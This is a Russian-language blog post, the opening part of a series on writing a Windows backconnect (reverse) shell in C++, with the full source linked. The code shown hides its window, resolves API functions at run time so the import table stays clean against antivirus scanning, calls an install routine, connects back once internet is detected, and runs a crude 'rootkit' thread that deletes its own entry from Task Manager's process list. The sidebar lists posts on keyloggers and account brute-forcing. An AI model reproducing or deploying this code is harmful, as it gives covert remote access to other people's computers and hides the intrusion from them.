Наверное многим это уже поднадоело. Ну я имею ввиду начало, часть вторая, и т.д. Но проблема в том, что если я здесь сразу начну описывать как и что работает то статья растянется как резинка от трусов. О том что я планирую растянуть статьи я упомянул. Также предупреждаю что коду уже около 2х лет (ну собсно как и этому сайту приблизительно), поэтому сейчас для антивирусов он как красная тряпка для быков. Считайте это так называемым предупреждением. Также бэкконект обладает некоторой системой скрытия (только для русской версии windows) — так сказать, юзер-мод руткитом, который удаляет запись о бэкконекте из таскменеджера. Теперь о планах. Так сказать, очерчу границы тем, которые буду раскрывать. Прошло очень и очень много времени с момента публикации последнего поста, а информации у меня набралось предостаточно. Итак, я закончу цикл о шелле, затем покажу как можно полноценно получать иконки из exe и устанавливать иконку exe из какого либо ico файла. С этим я бился долго (около двух дней). Потом опишу способ, который превращает программиста в властелина ОС — перехват API функций. Потом может быть чего нибудь еще выдумаю. Приступим.

shell Бэкконект шелл. Начало.

бэкконект шелл

Надеюсь вы не боитесь того, что я использовал поиск функций с помощью LoadLibrary/GetProcAddress т.е. делал так, чтобы таблица импортов была девственно чистой. Исходный код я предоставлю сразу и полностью.

Начнем мы пожалуй с головной функции (константы опущены)

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        typedef HICON (WINAPI *__LoadIconA)(HINSTANCE hInstance,LPCTSTR lpIconName);
    __LoadIconA _LoadIconA = (__LoadIconA)GetProcAddress(LoadLibrary("user32.dll"),"LoadIconA");

    typedef HCURSOR (WINAPI *__LoadCursorA)(HINSTANCE hInstance,LPCTSTR lpCursorName);
    __LoadCursorA _LoadCursorA = (__LoadCursorA)GetProcAddress(LoadLibrary("user32.dll"),"LoadCursorA");

    HWND hwnd;
    MSG messages;
    WNDCLASSEX wincl;
    wincl.hInstance = hInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;
    wincl.style = CS_DBLCLKS;
    wincl.cbSize = sizeof (WNDCLASSEX);
    wincl.hIcon = _LoadIconA(NULL, IDI_APPLICATION);
    wincl.hIconSm = _LoadIconA(NULL, IDI_APPLICATION);
    wincl.hCursor = _LoadCursorA(NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;
    wincl.cbClsExtra = 0;
    wincl.cbWndExtra = 0;
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;

    typedef ATOM (WINAPI * __RegisterClassExA)(CONST WNDCLASSEX *lpwcx);
    __RegisterClassExA _RegisterClassExA = (__RegisterClassExA)GetProcAddress(LoadLibrary("user32.dll"),"RegisterClassExA");

    if (!_RegisterClassExA(&wincl))
        return 0;

    typedef HWND (WINAPI * __CreateWindowExA)(DWORD dwExStyle,LPCTSTR lpClassName,LPCTSTR lpWindowName,DWORD dwStyle,int x,int y,int nWidth,int nHeight,HWND hWndParent,HMENU hMenu,HINSTANCE hInstance,LPVOID lpParam);
    __CreateWindowExA _CreateWindowExA = (__CreateWindowExA)GetProcAddress(LoadLibrary("user32.dll"),"CreateWindowExA");

    hwnd = _CreateWindowExA(0,szClassName,"taskmgr",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,544,375,HWND_DESKTOP,NULL,hInstance,NULL);

    typedef BOOL (WINAPI *__ShowWindow)(HWND,int);
    __ShowWindow _ShowWindow = (__ShowWindow)GetProcAddress(LoadLibrary("user32.dll"),"ShowWindow");

    _ShowWindow(hwnd, SW_HIDE);

    typedef BOOL (WINAPI *__GetMessageA)(LPMSG lpMsg,HWND hWnd,UINT wMsgFilterMin,UINT wMsgFilterMax);
    __GetMessageA _GetMessageA = (__GetMessageA)GetProcAddress(LoadLibrary("user32.dll"),"GetMessageA");

    typedef BOOL (WINAPI *__TranslateMessage)(const MSG *lpMsg);
    __TranslateMessage _TranslateMessage = (__TranslateMessage)GetProcAddress(LoadLibrary("user32.dll"),"TranslateMessage");

    typedef LRESULT (WINAPI *__DispatchMessageA)(const MSG *lpmsg);
    __DispatchMessageA _DispatchMessageA = (__DispatchMessageA)GetProcAddress(LoadLibrary("user32.dll"),"DispatchMessageA");

    while (_GetMessageA(&messages, NULL, 0, 0)){
        _TranslateMessage(&messages);
        _DispatchMessageA(&messages);
    }

    return messages.wParam;
}
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch(message){
        case WM_DESTROY:{
                                typedef BOOL (WINAPI *__CloseHandle)(HANDLE hObject);
                                __CloseHandle _CloseHandle = (__CloseHandle)GetProcAddress(LoadLibrary("Kernel32.dll"),"CloseHandle");
                                _CloseHandle(pi.hThread);
                                _CloseHandle(pi.hProcess);
                            _CloseHandle(newstdin);           
                                _CloseHandle(newstdout);
                                _CloseHandle(read_stdout);
                                _CloseHandle(write_stdin);
                                closesocket(s);
                                WSACleanup();
                                PostQuitMessage(0);
            }break;
        case WM_CREATE:{
                                INSTALL();
                                SetTimer(hwnd,1,1000,NULL);

                                typedef HANDLE (WINAPI *__CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
                                __CreateThread _CreateThread = (__CreateThread)GetProcAddress(LoadLibrary("Kernel32.dll"),"CreateThread");
                                _CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&pTaskMgr,NULL,NULL,NULL);
        }break;
        case WM_TIMER:{
                        if(GetStatusConnect()){
                                KillTimer(hwnd,1);
                                BACKCONNECT();
                        }
        }break;
        default:{
            typedef LRESULT (WINAPI *__DefWindowProcA)(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam);
            __DefWindowProcA _DefWindowProcA = (__DefWindowProcA)GetProcAddress(LoadLibrary("user32.dll"),"DefWindowProcA");
            return _DefWindowProcA(hwnd, message, wParam, lParam);
        }
    }
    return 0;
}

Основная часть веселья заключается в оконной процедуре. При инициализации мы сначала вызываем процедуру установки (INSTALL()) а также запускаем поток юзер-мод руткита. Также ставим таймер. По событию этого таймера совершается проверка подключения к интернету, и если интернет есть, то мы уничтожаем таймер и совершаем бекконект. Если же подано сообщение о выходе, то мы закрываем все хендлы и завершаем сессию с winsock. Теперь возникает вопрос зачем я делал поиск функций и притом не шифровал строки? Ну раньше это прокатывало… Теперь же этим уже никого не удивишь). На десерт покажу функцию руткита (она банальна и очень наивна):

void WINAPI pTaskMgr(LPVOID lpParameter){
        char mn[] = "Диспетчер задач Windows";

        while(1){
                HWND AppTask = FindWindow("#32770",mn);
                if(AppTask){
                        HWND Tab = FindWindowEx(AppTask,NULL,"#32770",NULL);
                        if(Tab){
                                HWND SysList = FindWindowEx(Tab,NULL,NULL,"Процессы");
                                if(SysList){
                                        int count = SendMessage(SysList,LVM_GETITEMCOUNT,0,0);
                                        while(FindWindow("#32770",mn)){
                                                if(SendMessage(SysList,LVM_GETITEMCOUNT,0,0)!=(count - 1))
                                                        count = SendMessage(SysList,LVM_GETITEMCOUNT,0,0);
                                                ListView_SortItems(SysList,NULL,NULL);
                                                ListView_DeleteItem(SysList,count-1);
                                                Sleep(15);
                                        }
                                }
                        }
                }
                Sleep(sleeplimit);
        }
}

Если находится диспетчер задач, то ищем там вкладку процессы, а там делаем сортировку (до этого предположим что наш файл имеет имя я|чтототам|.exe), а затем удаляем последний элемент. Банально, выше среднего нагрузка из-за цикла, но работает. И на последок, исходный код полностью: bckconnect

tt twitter big4 Бэкконект шелл. Начало. tt digg big4 Бэкконект шелл. Начало. tt facebook big4 Бэкконект шелл. Начало. tt gmail big4 Бэкконект шелл. Начало. tt myspace big4 Бэкконект шелл. Начало. tt reddit big4 Бэкконект шелл. Начало.

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++